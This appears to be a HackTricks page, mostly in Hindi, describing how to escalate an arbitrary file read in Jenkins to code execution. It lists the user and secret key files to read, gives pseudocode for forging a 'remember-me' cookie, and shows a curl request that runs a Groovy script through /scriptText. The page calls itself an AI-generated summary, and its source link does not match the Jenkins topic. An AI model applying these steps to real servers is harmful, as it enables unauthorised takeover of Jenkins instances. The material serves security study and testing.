Jenkins Arbitrary File Read to RCE via “Remember Me”
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
इस ब्लॉग पोस्ट में Jenkins में Local File Inclusion भेद्यता को RCE में बदलने का एक शानदार तरीका पाया जा सकता है: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
यह एक AI द्वारा बनाई गई संक्षेप है उस पोस्ट के भाग की जहां एक मनमाना कुकी का निर्माण RCE प्राप्त करने के लिए स्थानीय फ़ाइल पढ़ने का दुरुपयोग किया जाता है जब तक कि मेरे पास अपने स्वयं के संक्षेप को बनाने का समय न हो:
Attack Prerequisites
- Feature Requirement: “Remember me” सक्षम होना चाहिए (डिफ़ॉल्ट सेटिंग)।
- Access Levels: हमलावर को Overall/Read अनुमतियाँ चाहिए।
- Secret Access: प्रमुख फ़ाइलों से बाइनरी और पाठ्य सामग्री पढ़ने की क्षमता।
Detailed Exploitation Process
Step 1: Data Collection
User Information Retrieval
- प्रत्येक उपयोगकर्ता के लिए
$JENKINS_HOME/users/*.xmlसे उपयोगकर्ता कॉन्फ़िगरेशन और रहस्यों तक पहुँचें: - Username
- User seed
- Timestamp
- Password hash
Secret Key Extraction
- कुकी पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले क्रिप्टोग्राफिक कुंजियों को निकालें:
- Secret Key:
$JENKINS_HOME/secret.key - Master Key:
$JENKINS_HOME/secrets/master.key - MAC Key File:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Step 2: Cookie Forging
Token Preparation
- Token Expiry Time की गणना करें:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // वर्तमान समय में एक घंटा जोड़ें
- Token के लिए डेटा को संयोजित करें:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Key Decryption
- MAC Key File को डिक्रिप्ट करें:
key = toAes128Key(masterKey) // मास्टर कुंजी को AES128 कुंजी प्रारूप में परिवर्तित करें
decrypted = AES.decrypt(macFile, key) // .mac फ़ाइल को डिक्रिप्ट करें
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signature Computation
- HMAC SHA256 की गणना करें:
mac = HmacSHA256(token, macKey) // टोकन और MAC कुंजी का उपयोग करके HMAC की गणना करें
tokenSignature = bytesToHexString(mac) // MAC को हेक्साडेसिमल स्ट्रिंग में परिवर्तित करें
Cookie Encoding
- अंतिम कुकी उत्पन्न करें:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // कुकी डेटा को Base64 में एन्कोड करें
Step 3: Code Execution
Session Authentication
- CSRF और सत्र टोकन प्राप्त करें:
/crumbIssuer/api/jsonपर एक अनुरोध करें ताकिJenkins-Crumbप्राप्त किया जा सके।- प्रतिक्रिया से
JSESSIONIDको कैप्चर करें, जिसका उपयोग याद रखने वाली कुकी के साथ किया जाएगा।
Command Execution Request
- Groovy Script के साथ POST अनुरोध भेजें:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है।
उदाहरण curl कमांड दिखाता है कि कैसे आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध भेजा जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

